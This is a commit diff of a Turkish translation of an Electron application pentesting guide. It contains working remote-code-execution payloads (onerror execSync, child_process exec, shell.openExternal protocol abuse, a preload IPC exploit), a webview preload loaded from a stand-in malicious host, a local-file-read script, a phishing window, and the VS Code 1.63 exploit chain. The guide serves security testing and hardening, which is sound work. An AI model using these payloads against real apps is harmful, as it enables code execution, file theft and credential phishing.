Translated ['src/network-services-pentesting/pentesting-web/electron-des

This commit is contained in:
Translator 2025-09-29 22:24:28 +00:00
parent f8a4f6f153
commit d2c0ec7cb4

View File

@ -4,27 +4,27 @@
## Giriş
Electron, yerel bir backend (**NodeJS**) ve bir frontend (**Chromium**) içerir; ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur.
Electron, yerel bir backend (**NodeJS** ile) ve bir frontend (**Chromium**) birleştirir; ancak modern tarayıcıların bazı güvenlik mekanizmalarından yoksundur.
Genellikle Electron uygulama kodunu bir `.asar` arşivinin içinde bulabilirsiniz; koda ulaşmak için bunu çıkarmanız gerekir:
Genellikle Electron uygulama kodunu bir `.asar` dosyası içinde bulabilirsiniz; kodu elde etmek için bunu çıkarmanız gerekir:
```bash
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
```
Bir Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapılandırmalarının ayarlandığı `main.js` dosyasının belirtildiğini görebilirsiniz.
Bir Electron uygulamasının kaynak kodunda, `packet.json` içinde güvenlik yapılandırmalarının ayarlandığı `main.js` dosyasını bulabilirsiniz.
```json
{
"name": "standard-notes",
"main": "./app/index.js",
```
Electron'un 2 işlem türü vardır:
Electron'in 2 işlem türü vardır:
- Ana İşlem (NodeJS'e tam erişimi vardır)
- Renderer İşlemi (güvenlik nedeniyle NodeJS erişimi kısıtlanmalıdır)
- Main Process (NodeJS'e tam erişimi vardır)
- Renderer Process (güvenlik nedeniyle NodeJS erişimi sınırlı olmalıdır)
![](<../../../images/image (182).png>)
Bir **renderer işlemi**, bir dosyayı yükleyen bir tarayıcı penceresi olacaktır:
Bir **renderer process**, bir dosya yükleyen bir tarayıcı penceresi olacaktır:
```javascript
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
@ -32,17 +32,17 @@ let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
```
Settings of the **renderer process** can be **configured** in the **main process** inside the main.js file. Some of the configurations will **prevent the Electron application to get RCE** or other vulnerabilities if the **settings are correctly configured**.
**renderer process** ayarları main.js dosyası içindeki **main process** içinde **yapılandırılabilir**. Bazı yapılandırmalar, ayarlar **doğru yapılandırıldığında**, Electron uygulamasının **RCE veya diğer zafiyetlere** maruz kalmasını önleyebilir.
Electron uygulamasının Node API'leri aracılığıyla cihaza erişimi olabilir; ancak bu erişim engellenebilir:
Electron uygulaması Node apis aracılığıyla **cihaza erişebilir**, ancak bu erişim önlenebilir:
- **`nodeIntegration`** - varsayılan olarak `off`'tur. Açık ise, renderer process'ten Node özelliklerine erişime izin verir.
- **`contextIsolation`** - varsayılan olarak `on`'dur. `off` ise main ve renderer process'ler izole değildir.
- **`preload`** - varsayılan olarak boştur.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak kapalıdır. Bu, NodeJS'in gerçekleştirebileceği eylemleri kısıtlayacaktır.
- Workers içinde Node Integration
- **`nodeIntegration`** - varsayılan olarak `off`'tur. Açık ise, renderer process'ten node özelliklerine erişime izin verir.
- **`contextIsolation`** - varsayılan olarak `on`'dur. `off` ise main ve renderer process'leri izole değildir.
- **`preload`** - varsayılan olarak boş.
- [**`sandbox`**](https://docs.w3cub.com/electron/api/sandbox-option) - varsayılan olarak `off`'tur. NodeJS'in gerçekleştirebileceği eylemleri kısıtlayacaktır.
- Node Integration in Workers
- **`nodeIntegrationInSubframes`** - varsayılan olarak `off`'tur.
- Eğer **`nodeIntegration`** **etkinse**, bu Electron uygulaması içinde iframe'lerde yüklenen web sayfalarında **Node.js APIs** kullanımına izin verir.
- Eğer **`nodeIntegration`** **etkinse**, bu Electron uygulaması içinde iframe'lere yüklenen web sayfalarında **Node.js APIs** kullanımına izin verir.
- Eğer **`nodeIntegration`** **devre dışıysa**, preloads iframe içinde yüklenecektir.
Example of configuration:
@ -71,7 +71,7 @@ spellcheck: true,
},
}
```
Bazı **RCE payloads** from [here](https://7as.es/electron/nodeIntegration_rce.txt):
Bazı **RCE payloads** [here](https://7as.es/electron/nodeIntegration_rce.txt):
```html
Example Payloads (Windows):
<img
@ -95,15 +95,16 @@ onerror="alert(require('child_process').execSync('ls -l').toString());" />
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
```
### Trafik yakalama
### Trafiği yakalama
start-main yapılandırmasını değiştirin ve şu gibi bir proxy kullanımını ekleyin:
start-main yapılandırmasını değiştirin ve şöyle bir proxy kullanımını ekleyin:
```javascript
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
```
## Electron Local Code Injection
Eğer yerel olarak bir Electron App çalıştırabiliyorsanız, rastgele javascript kodu çalıştırmasını sağlayabilirsiniz. Nasıl olduğunu şu kaynakta kontrol edin:
Eğer yerelde bir Electron App çalıştırabiliyorsanız, onun rastgele javascript kodu çalıştırmasını sağlayabilirsiniz. Nasıl olduğunu şu kaynaktan kontrol edin:
{{#ref}}
../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md
@ -111,7 +112,7 @@ Eğer yerel olarak bir Electron App çalıştırabiliyorsanız, rastgele javascr
## RCE: XSS + nodeIntegration
Eğer **nodeIntegration** **on** olarak ayarlanmışsa, bir web sayfasının JavaScript'i `require()` çağrısı yaparak Node.js özelliklerini kolayca kullanabilir. Örneğin, Windows'ta calc uygulamasını çalıştırma yolu şudur:
Eğer **nodeIntegration** **on** olarak ayarlanmışsa, bir web sayfasının JavaScript'i `require()` çağırarak kolayca Node.js özelliklerini kullanabilir. Örneğin, Windows'ta calc uygulamasını çalıştırma yolu şudur:
```html
<script>
require("child_process").exec("calc")
@ -123,7 +124,7 @@ top.require("child_process").exec("open /System/Applications/Calculator.app")
## RCE: preload
Bu ayarda belirtilen script **renderer'daki diğer scriptlerden önce yüklenir**, bu yüzden **Node APIs'ye sınırsız erişimi** vardır:
Bu ayarda belirtilen script renderer içinde **diğer script'lerden önce yüklenir**, bu yüzden **Node APIs'e sınırsız erişimi**:
```javascript
new BrowserWindow{
webPreferences: {
@ -132,7 +133,7 @@ preload: _path2.default.join(__dirname, 'perload.js'),
}
});
```
Bu nedenle, script node-features'ı sayfalara aktarabilir:
Bu nedenle, script node-features'i sayfalara dışa aktarabilir:
```javascript:preload.js
typeof require === "function"
window.runCalc = function () {
@ -148,17 +149,17 @@ runCalc()
</script>
</body>
```
> [!NOTE] > **Eğer `contextIsolation`ık ise, bu çalışmaz**
> [!NOTE] > **Eğer `contextIsolation`ıksa, bu çalışmaz**
## RCE: XSS + contextIsolation
The _**contextIsolation**_ web sayfası scriptleri ile Electron'un dahili JavaScript kodu arasında ayrılmış bağlamlar oluşturur; böylece her bir kodun JavaScript yürütmesi birbirini etkilemez. Bu, RCE olasılığını ortadan kaldırmak için gerekli bir özelliktir.
_**contextIsolation**_ web sayfası scriptleri ile **JavaScript Electron'un dahili kodu arasındaki ayrılmış bağlamları** oluşturur, böylece her bir kodun JavaScript yürütmesi birbirini etkilemez. Bu, RCE ihtimalini ortadan kaldırmak için gerekli bir özelliktir.
If the contexts aren't isolated an attacker can:
Bağlamlar izole değilse bir saldırgan şunları yapabilir:
1. Renderer'da **keyfi JavaScript çalıştırmak** (XSS veya dış sitelere yönlendirme)
2. Preload veya Electron'un dahili kodunda kullanılan **yerleşik metodu üzerine yazarak** fonksiyonu ele geçirmek
3. **Tetiklemek** üzerine yazılmış **fonksiyonun** kullanılmasını
1. **renderer içinde keyfi JavaScript çalıştırmak** (XSS veya dış sitelere yönlendirme)
2. preload veya Electron'un dahili kodunda kullanılan **yerleşik metodu ezmek** ve onu kendi fonksiyonuyla değiştirmek
3. **ezilmiş fonksiyonun** kullanımını **tetiklemek**
4. RCE?
There are 2 places where built-int methods can be overwritten: In preload code or in Electron internal code:
@ -178,36 +179,36 @@ electron-contextisolation-rce-via-electron-internal-code.md
electron-contextisolation-rce-via-ipc.md
{{#endref}}
### Tıklama olayını atlatma
### Click event'i atlatma
Bir bağlantıya tıkladığınızda kısıtlamalar uygulanıyorsa, normal sol tıklama yerine **orta tıklama yaparak** bunları atlayabilirsiniz.
Bir linke tıkladığınızda kısıtlamalar uygulanıyorsa, bunları normal sol tıklama yerine **orta tıklama yaparak** atlayabilirsiniz.
```javascript
window.addEventListener('click', (e) => {
```
## RCE via shell.openExternal
Bu örnekler hakkında daha fazla bilgi için bakınız [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Bu örnekler hakkında daha fazla bilgi için şu yazılara bakın: [https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8](https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8) ve [https://benjamin-altpeter.de/shell-openexternal-dangers/](https://benjamin-altpeter.de/shell-openexternal-dangers/)
Electron masaüstü uygulamasını dağıtırken `nodeIntegration` ve `contextIsolation` için doğru ayarları sağlamak çok önemlidir. Bu ayarların etkin olduğu durumda, main process'ten preload scriptlerine veya Electron'un native koduna yönelik **client-side remote code execution (RCE)**'nin etkin bir şekilde önlendiği kabul edilir.
Bir Electron masaüstü uygulaması dağıtırken, `nodeIntegration` ve `contextIsolation` için doğru ayarların sağlanması çok önemlidir. Bu ayarların etkin olması halinde, preload betiklerini veya Electron'un native kodunu ana süreçten hedef alan **client-side remote code execution (RCE)** büyük ölçüde engellenmiş olur.
Kullanıcı linklerle etkileşime girdiğinde veya yeni pencereler açtığında, uygulamanın güvenliği ve işlevselliği için kritik olan belirli event listener'lar tetiklenir:
Kullanıcı bağlantılarla etkileşime girdiğinde veya yeni pencereler açtığında, uygulamanın güvenliği ve işlevselliği için kritik olan belirli olay dinleyicileri tetiklenir:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
```
Bu dinleyiciler, masaüstü uygulaması tarafından kendi **iş mantığını** uygulamak için **geçersiz kılınır**. Uygulama, erişilen bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mıılması gerektiğini değerlendirir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Bu fonksiyon `false` dönerse, bağlantının `shell.openExternal` işlevi kullanılarak harici olarak açılması gerektiğini gösterir.
Bu dinleyiciler, kendi **iş mantığını** uygulamak için **masaüstü uygulama tarafından geçersiz kılınır**. Uygulama, gezilen bir bağlantının dahili olarak mı yoksa harici bir web tarayıcısında mıılacağına karar verir. Bu karar genellikle `openInternally` adlı bir fonksiyon aracılığıyla verilir. Bu fonksiyon `false` dönerse, bağlantının `shell.openExternal` fonksiyonunu kullanarak harici olarak açılması gerektiğini gösterir.
**Here is a simplified pseudocode:**
**İşte basitleştirilmiş sözde kod:**
![https://miro.medium.com/max/1400/1*iqX26DMEr9RF7nMC1ANMAA.png](<../../../images/image (261).png>)
![https://miro.medium.com/max/1400/1*ZfgVwT3X1V_UfjcKaAccag.png](<../../../images/image (963).png>)
Electron JS security best practices advise against accepting untrusted content with the `openExternal` function, as it could lead to RCE through various protocols. Operating systems support different protocols that might trigger RCE. For detailed examples and further explanation on this topic, one can refer to [this resource](https://positive.security/blog/url-open-rce#windows-10-19042), which includes Windows protocol examples capable of exploiting this vulnerability.
Electron JS güvenlik en iyi uygulamaları, `openExternal` fonksiyonu ile güvenilmeyen içeriğin kabul edilmemesini önerir; çünkü bu, çeşitli protokoller aracılığıyla RCE'ye yol açabilir. İşletim sistemleri, RCE'yi tetikleyebilecek farklı protokolleri destekler. Bu konuya dair ayrıntılı örnekler ve ek açıklamalar için [this resource](https://positive.security/blog/url-open-rce#windows-10-19042) başvurulabilir; kaynak, bu açığı sömürebilecek Windows protokol örneklerini içerir.
In macos, the `openExternal` function can be exploited to execute arbitrary commands like in `shell.openExternal('file:///System/Applications/Calculator.app')`.
macos'ta, `openExternal` fonksiyonu, `shell.openExternal('file:///System/Applications/Calculator.app')` örneğinde olduğu gibi keyfi komutların çalıştırılması için kullanılabilir.
**Examples of Windows protocol exploits include:**
**Windows protokol sömürü örnekleri şunlardır:**
```html
<script>
window.open(
@ -227,17 +228,17 @@ window.open(
)
</script>
```
## RCE: webviewTag + vulnerable preload IPC + shell.openExternal
## RCE: webviewTag + zafiyetli preload IPC + shell.openExternal
Bu zafiyet **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** inde bulunabilir.
Bu zafiyet **[this report](https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/)** adresinde bulunabilir.
The **webviewTag** is a **kullanımdan kaldırılmış özellik** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the **preload** context şöyle:
The **webviewTag** is a **kullanımdan kaldırılmış özellik** that allows the use of **NodeJS** in the **renderer process**, which should be disabled as it allows to load a script inside the preload context like:
```xml
<webview src="https://example.com/" preload="file://malicious.example/test.js"></webview>
```
Bu nedenle, rastgele bir sayfa yüklemeyi başaran bir saldırgan bu etiketi kullanarak **rastgele bir preload script yükleyebilirdi**.
Bu nedenle, keyfi bir sayfa yüklemeyi başaran bir saldırgan bu etiketi kullanarak **keyfi bir preload script yükleyebilirdi**.
Bu preload script daha sonra **vulnerable IPC service (`skype-new-window`)**'ı çağırmak için kötüye kullanıldı; bu servis RCE elde etmek için **`shell.openExternal`**'ı çağırıyordu:
Bu preload script daha sonra **zayıf bir IPC servisi (`skype-new-window`)**'i çağırmak için suistimal edildi; bu servis RCE elde etmek için **`shell.openExternal`**'ı çağırıyordu:
```javascript
(async() => {
const { ipcRenderer } = require("electron");
@ -248,13 +249,13 @@ await ipcRenderer.invoke("skype-new-window", `file:///C:/Users/${username[1]}/Do
}, 5000);
})();
```
## İç Dosyaların Okunması: XSS + contextIsolation
## İç Dosyaları Okuma: XSS + contextIsolation
**`contextIsolation`'ı devre dışı bırakmak `<webview>` etiketlerinin kullanılmasına izin verir**, `<iframe>`'e benzer şekilde yerel dosyaların okunması ve exfiltrating için. Verilen bir örnek, bu zafiyeti iç dosyaların içeriğini okumak için nasıl istismar edileceğini gösterir:
**`contextIsolation`'ı devre dışı bırakmak, `<webview>` etiketlerinin kullanılmasına izin verir**, `<iframe>`'e benzer şekilde yerel dosyaların okunması ve exfiltrating için kullanılabilir. Sunulan bir örnek, bu açığı exploit ederek iç dosyaların içeriğini nasıl okuyacağını gösterir:
![](<../../../images/1 u1jdRYuWAEVwJmf_F2ttJg (1).png>)
Ayrıca, **iç bir dosyanın okunması** için başka bir yöntem paylaşılmış; bu, bir Electron desktop app içinde kritik bir yerel dosya okuma zafiyetini vurgular. Bu, uygulamayı istismar etmek ve verileri exfiltrate etmek için bir script enjekte etmeyi içerir:
Ayrıca, **bir iç dosyayı okuma** için başka bir yöntem paylaşılmış; bu, bir Electron masaüstü uygulamasında kritik bir yerel dosya okuma açığını vurgular. Bu, uygulamayı exploit etmek için bir script enjekte etmeyi ve verileri exfiltrate etmeyi içerir:
```html
<br /><br /><br /><br />
<h1>
@ -270,23 +271,23 @@ frames[0].document.body.innerText
</script>
</h1>
```
## **RCE: XSS + Old Chromium**
## **RCE: XSS + Eski chromium**
Eğer uygulamada kullanılan **chromium** **eski** ise ve üzerinde **bilinen** **vulnerabilities** varsa, onu **exploit** ederek ve bir **XSS** aracılığıyla **RCE** elde etmek mümkün olabilir.\
Bir örneğini bu **writeup** içinde görebilirsiniz: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
Eğer uygulamanın kullandığı **chromium** **eski** ise ve üzerinde **known vulnerabilities** varsa, bunu **exploit** edip **XSS** üzerinden **RCE** elde etmek mümkün olabilir.\
Bir örneğini şu **writeup**'ta görebilirsiniz: [https://blog.electrovolt.io/posts/discord-rce/](https://blog.electrovolt.io/posts/discord-rce/)
## **XSS Phishing via Internal URL regex bypass**
Diyelim ki bir **XSS** buldunuz fakat **RCE'yi tetikleyemiyor veya dahili dosyaları çalamıyorsanız**, bunu **phishing** yoluyla kimlik bilgilerini çalmak için kullanmayı deneyebilirsiniz.
Bir XSS bulduğunuzu varsayalım ama **RCE tetikleyemiyor** veya **internal files** çalamıyorsanız, bunu **phishing** ile **credentials** çalmak için kullanmayı deneyebilirsiniz.
Öncelikle yeni bir URL açmaya çalıştığınızda ne olduğunun farkında olmalısınız; bunu anlamak için front-end'deki **JS** kodunu kontrol edin:
Öncelikle yeni bir **URL** açmaya çalıştığınızda ne olduğunu bilmeniz gerekir; front-end'deki **JS** kodunu kontrol ederek:
```javascript
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
```
**`openInternally`** çağrısı, bir **linkin** platforma ait bir bağlantı olması halinde **desktop penceresinde** **açılıp açılmayacağını**, **ya da** üçüncü taraf bir kaynak olarak **tarayıcıda** **açılıp açılmayacağını** belirler.
**`openInternally`** çağrısı, **link** platforma ait olduğu için **masaüstü pencerede** mi açılacağına, **veya** üçüncü taraf bir kaynak olarak **tarayıcıda** mıılacağına karar verir.
Eğer fonksiyon tarafından kullanılan **regex** **bypass'lara karşı savunmasız** ise (örneğin **subdomains noktalarının kaçışlandırılmaması** gibi), bir saldırgan XSS'i suistimal ederek **kullanıcıdan kimlik bilgilerini isteyen** ve saldırganın altyapısında yer alacak **yeni bir pencere açtırabilir**:
Fonksiyon tarafından kullanılan **regex** **vulnerable to bypasses** ise (örneğin **not escaping the dots of subdomains**), bir attacker XSS'i kötüye kullanarak **open a new window which** saldırgan altyapısında yer alacak ve kullanıcıdan **asking for credentials** isteyen yeni bir pencere açabilir:
```html
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
@ -294,11 +295,11 @@ window.open("<http://subdomainagoogleq.com/index.html>")
```
## `file://` Protokol
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Using a **custom protocol** prevents issues like this as you can limit the protocol to only serving a specific set of files.
As mentioned in [the docs](https://www.electronjs.org/docs/latest/tutorial/security#18-avoid-usage-of-the-file-protocol-and-prefer-usage-of-custom-protocols) pages running on **`file://`** have unilateral access to every file on your machine meaning that **XSS issues can be used to load arbitrary files** from the users machine. Bir **özel protokol** kullanmak bu tür sorunları önler çünkü protokolü yalnızca belirli bir dosya kümesini sunmakla sınırlayabilirsiniz.
## Remote module
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. However, enabling this module introduces significant security risks. It expands the application's attack surface, making it more susceptible to vulnerabilities such as cross-site scripting (XSS) attacks.
The Electron Remote module allows **renderer processes to access main process APIs**, facilitating communication within an Electron application. Ancak bu modülün etkinleştirilmesi önemli güvenlik riskleri getirir. Uygulamanın saldırı yüzeyini genişletir ve cross-site scripting (XSS) saldırıları gibi zafiyetlere daha açık hale getirir.
> [!TIP]
> Although the **remote** module exposes some APIs from main to renderer processes, it's not straight forward to get RCE just only abusing the components. However, the components might expose sensitive information.
@ -319,37 +320,37 @@ mainWindow = new BrowserWindow({
})
remoteMain.enable(mainWindow.webContents)
```
Sonra, renderer işlemi modülden nesneleri şu şekilde içe aktarabilir:
Sonra, renderer process modülden nesneleri şu şekilde import edebilir:
```javascript
import { dialog, getCurrentWindow } from '@electron/remote'
```
The **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**, remote module içindeki **`app`** nesnesi tarafından sağlanan bazı ilginç **fonksiyonları** gösteriyor:
Bu **[blog post](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)**, remote modülündeki **`app`** nesnesi tarafından açığa çıkarılan bazı ilginç **fonksiyonları** gösteriyor:
- **`app.relaunch([options])`**
- Mevcut örneği kapatıp yeni bir örnek başlatarak uygulamayı **yeniden başlatır**. Uygulama güncellemeleri veya önemli **durum değişiklikleri** için kullanışlıdır.
- **Yeniden başlatır** uygulamayı; mevcut örneği **sonlandırıp** yeni bir tane **başlatır**. **Uygulama güncellemeleri** veya önemli **durum değişiklikleri** için kullanışlıdır.
- **`app.setAppLogsPath([path])`**
- Uygulama loglarını depolamak için bir dizin **tanımlar** veya **oluşturur**. Loglar **`app.getPath()`** veya **`app.setPath(pathName, newPath)`** kullanılarak **alınabilir** veya **değiştirilebilir**.
- **Tanımlar** veya **oluşturur** uygulama günlüklerini depolamak için bir dizin. Günlüklere **`app.getPath()`** veya **`app.setPath(pathName, newPath)`** kullanılarak erişilebilir veya değiştirilebilir.
- **`app.setAsDefaultProtocolClient(protocol[, path, args])`**
- Belirtilen bir **protokol** için geçerli yürütülebilir dosyayı varsayılan **işleyici** olarak **kaydeder**. Gerekirse özel bir **path** ve **argümanlar** sağlayabilirsiniz.
- Mevcut yürütülebilir dosyayı belirtilen bir **protokol** için **varsayılan işleyici** olarak **kaydeder**. Gerekirse **özel bir yol** ve **argümanlar** sağlayabilirsiniz.
- **`app.setUserTasks(tasks)`**
- **Jump List** içindeki **Tasks** kategorisine görevler **ekler** (Windows). Her görev, uygulamanın nasıl **başlatılacağını** veya hangi **argümanların** geçirileceğini kontrol edebilir.
- **Görevler**i **Jump List** içindeki **Tasks kategorisine** ekler (on Windows). Her görev uygulamanın nasıl **başlatılacağını** veya hangi **argümanların** geçirileceğini kontrol edebilir.
- **`app.importCertificate(options, callback)`**
- Bir **PKCS#12 certificate**'ı sistemin **certificate store**'una **içe aktarır** (sadece Linux). Sonucu işlemek için bir **callback** kullanılabilir.
- Sistemin **sertifika deposuna** bir **PKCS#12 certificate** **aktarır** (sadece Linux). Sonucu işlemek için bir **callback** kullanılabilir.
- **`app.moveToApplicationsFolder([options])`**
- Uygulamayı **Applications folder**'a **taşır** (macOS). Mac kullanıcıları için standart bir kurulumun sağlanmasına yardımcı olur.
- Uygulamayı **Applications folder**'a taşır (on macOS). Mac kullanıcıları için **standart bir kurulum** sağlanmasına yardımcı olur.
- **`app.setJumpList(categories)`**
- Windows'ta özel bir **Jump List** **ayarlar** veya **kaldırır**. Görevlerin kullanıcıya nasıl görüneceğini düzenlemek için **kategoriler** belirtebilirsiniz.
- **Özel bir Jump List**i **ayarlar** veya **kaldırır** (on Windows). Görevlerin kullanıcıya nasıl görüneceğini düzenlemek için **kategoriler** belirtebilirsiniz.
- **`app.setLoginItemSettings(settings)`**
- Hangi yürütülebilir dosyaların girişte çalıştırılacağını ve bunların **seçeneklerini** yapılandırır (sadece macOS ve Windows).
- Hangi **yürütülebilir dosyaların** girişte (**login**) başlatılacağını ve bunların **seçeneklerini** yapılandırır (sadece macOS ve Windows).
Örnek:
Example:
```javascript
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
```
## systemPreferences modülü
Electron'da sistem tercihlerine erişmek ve **sistem olaylarını tetiklemek** için kullanılan **birincil API**. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** ve **setUserDefault** gibi yöntemler bu modülün **parçasıdır**.
Electron'de sistem tercihlerine erişmek ve **sistem olayları göndermek** için kullanılan **birincil API**. **subscribeNotification**, **subscribeWorkspaceNotification**, **getUserDefault** ve **setUserDefault** gibi yöntemlerin tamamı bu modülün **parçasıdır**.
**Örnek kullanım:**
```javascript
@ -366,43 +367,31 @@ console.log('Recent Places:', recentPlaces);
```
### **subscribeNotification / subscribeWorkspaceNotification**
* **Listens** for **native macOS notifications** using NSDistributedNotificationCenter.
NSDistributedNotificationCenter kullanarak yerel macOS bildirimlerini dinler.
* Before **macOS Catalina**, you could sniff **all** distributed notifications by passing **nil** to CFNotificationCenterAddObserver.
macOS Catalina'dan önce, CFNotificationCenterAddObserver'a **nil** geçirerek tüm dağıtılmış bildirimleri sniff edebilirdiniz.
* After **Catalina / Big Sur**, sandboxed apps can still **subscribe** to **many events** (for example, **screen locks/unlocks**, **volume mounts**, **network activity**, etc.) by registering notifications **by name**.
Catalina / Big Sur'dan sonra, sandbox'lanmış uygulamalar bildirimleri isimle kaydederek hâlâ birçok olaya (örneğin, **screen locks/unlocks**, **volume mounts**, **network activity**, vb.) abone olabilir.
* **Dinler**: **yerel macOS bildirimlerini** NSDistributedNotificationCenter kullanarak.
* **macOS Catalina** öncesinde, CFNotificationCenterAddObserver'a **nil** geçirerek **tüm** dağıtılmış bildirimleri sniff edebilirdiniz.
* **Catalina / Big Sur** sonrası, sandboxed uygulamalar yine de bildirimleri **isimle** kaydederek **birçok olaya subscribe** olabilir (örneğin, **screen locks/unlocks**, **volume mounts**, **network activity**, vb.).
### **getUserDefault / setUserDefault**
* **Interfaces** with **NSUserDefaults**, which stores **application** or **global** preferences on macOS.
**NSUserDefaults** ile etkileşim kurar; macOS'ta uygulama veya sistem genelindeki tercihleri depolar.
* **NSUserDefaults** ile **arayüz** sağlar; macOS'ta **uygulama** veya **küresel** tercihleri saklar.
* **getUserDefault** can **retrieve** sensitive information, such as **recent file locations** or **users geographic location**.
**getUserDefault**, son dosya konumları veya kullanıcının coğrafi konumu gibi hassas bilgileri alabilir.
* **getUserDefault** hassas bilgileri **alabilir**, örneğin **recent file locations** veya **kullanıcının coğrafi konumu**.
* **setUserDefault** can **modify** these preferences, potentially affecting an apps **configuration**.
**setUserDefault** bu tercihleri değiştirebilir ve sonuç olarak bir uygulamanın **configuration**'ını etkileyebilir.
* **setUserDefault** bu tercihleri **değiştirebilir**, potansiyel olarak bir uygulamanın **yapılandırmasını** etkileyebilir.
* In **older Electron versions** (before v8.3.0), only the **standard suite** of NSUserDefaults was **accessible**.
Eski Electron sürümlerinde (v8.3.0'dan önce), yalnızca NSUserDefaults'un standart kümesine erişilebiliyordu.
* Eski Electron sürümlerinde (v8.3.0 öncesi), yalnızca NSUserDefaults'un **standard suite**'i **erişilebilir** durumdaydı.
## Shell.showItemInFolder
This function whows the given file in a file manager, which **could automatically execute the file**.
Bu fonksiyon verilen dosyayı bir dosya yöneticisinde gösterir; bu, dosyanın otomatik olarak **execute** edilmesine yol açabilir.
This function whows the given file in a file manager, which **could automatically execute the file**.
For more information check [https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html](https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html)
## Content Security Policy
Electron apps should have a **Content Security Policy (CSP)** to **prevent XSS attacks**. The **CSP** is a **security standard** that helps **prevent** the **execution** of **untrusted code** in the browser.
Electron uygulamalarında XSS saldırılarını önlemek için bir **Content Security Policy (CSP)** olmalıdır. **CSP**, tarayıcıda güvenilmeyen kodun çalıştırılmasını engellemeye yardımcı olan bir güvenlik standardıdır.
Electron uygulamalarında XSS saldırılarını önlemek için bir **Content Security Policy (CSP)** olmalıdır. **CSP**, tarayıcıda **güvenilmeyen kodun** **çalıştırılmasını** önlemeye yardımcı olan bir **güvenlik standardıdır**.
It's usually **configured** in the **`main.js`** file or in the **`index.html`** template with the CSP inside a **meta tag**.
Genellikle **`main.js`** dosyasında veya CSP'nin bir **meta tag** içinde yer aldığı **`index.html`** şablonunda yapılandırılır.
Genellikle **`main.js`** dosyasında veya **`index.html`** şablonunda, CSP'nin bir **meta tag** içinde tanımlanmasıyla **konfigüre edilir**.
For more information check:
@ -412,23 +401,41 @@ pentesting-web/content-security-policy-csp-bypass/
{{#endref}}
## **Tools**
## RCE: Webview CSP + postMessage trust + local file loading (VS Code 1.63)
- [**Electronegativity**](https://github.com/doyensec/electronegativity) is a tool to identify misconfigurations and security anti-patterns in Electron-based applications.
Electron tabanlı uygulamalardaki yanlış yapılandırmaları ve güvenlik anti-pattern'lerini tespit etmek için bir araçtır.
- [**Electrolint**](https://github.com/ksdmitrieva/electrolint) is an open source VS Code plugin for Electron applications that uses Electronegativity.
Electronegativity'i kullanan Electron uygulamaları için açık kaynaklı bir VS Code eklentisidir.
- [**nodejsscan**](https://github.com/ajinabraham/nodejsscan) to check for vulnerable third party libraries
Üçüncü taraf kütüphanelerdeki zayıf noktaları kontrol etmek için.
- [**Electro.ng**](https://electro.ng/): You need to buy it
Satın almanız gerekiyor
Bu gerçek dünya zinciri Visual Studio Code 1.63 (CVE-2021-43908) sürümünü etkiledi ve bir webview içindeki tek bir markdown kaynaklı XSS'in CSP, postMessage ve scheme handler'lar yanlış yapılandırıldığında tam RCE'ye nasıl yükseltilebileceğini gösterir. Public PoC: https://github.com/Sudistark/vscode-rce-electrovolt
## Labs
Attack chain overview
- First XSS via webview CSP: The generated CSP included `style-src 'self' 'unsafe-inline'`, allowing inline/style-based injection in a `vscode-webview://` context. The payload beaconed to `/stealID` to exfiltrate the target webviews extensionId.
- Constructing target webview URL: Using the leaked ID to build `vscode-webview://<extensionId>/.../<publicUrl>`.
- Second XSS via postMessage trust: The outer webview trusted `window.postMessage` without strict origin/type checks and loaded attacker HTML with `allowScripts: true`.
- Local file loading via scheme/path rewriting: The payload rewrote `file:///...` to `vscode-file://vscode-app/...` and swapped `exploit.md` for `RCE.html`, abusing weak path validation to load a privileged local resource.
- RCE in Node-enabled context: The loaded HTML executed with Node APIs available, yielding OS command execution.
In [https://www.youtube.com/watch?v=xILfQGkLXQo\&t=22s](https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s) you can find a lab to exploit vulnerable Electron apps.
Bu bağlantıda zafiyetli Electron uygulamalarını exploit etmek için bir lab bulabilirsiniz.
Example RCE primitive in the final context
```js
// RCE.html (executed in a Node-enabled webview context)
require('child_process').exec('calc.exe'); // Windows
require('child_process').exec('/System/Applications/Calculator.app'); // macOS
```
postMessage güven sorunlarıyla ilgili ek okumalar:
